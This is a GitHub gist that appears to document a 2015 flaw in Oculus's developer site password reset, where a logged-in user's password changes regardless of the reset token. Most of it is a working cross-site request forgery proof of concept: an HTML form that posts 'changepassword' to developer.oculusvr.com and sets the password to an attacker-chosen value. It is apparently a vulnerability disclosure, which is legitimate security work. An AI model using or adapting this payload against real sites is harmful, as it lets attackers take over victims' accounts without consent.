Skip to content

Instantly share code, notes, and snippets.

@pwnedDesal
Created August 1, 2015 04:55
Show Gist options
  • Save pwnedDesal/4936edd6511a78f6de50 to your computer and use it in GitHub Desktop.
Save pwnedDesal/4936edd6511a78f6de50 to your computer and use it in GitHub Desktop.
if (user is log in){
//the app will not use auth parameter which is a reset password passcode. Then change the password of the user who is currently log in.
}
else{
//if the user is not log in ,oculus uses the auth parameter to identify which account to be reset.
}
<body>
<form action="https://developer.oculusvr.com/core/UserAction.php" method="POST">
<input type="hidden" name="action" value="changepassword" />
<input type="hidden" name="auth" value="your_reset_token" />
<input type="hidden" name="newpassword" value="attackerpassword" />
<input type="hidden" name="confirmpassword" value="attackerpassword" />
<input type="submit" value="Submit request" />
</form>
</body>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment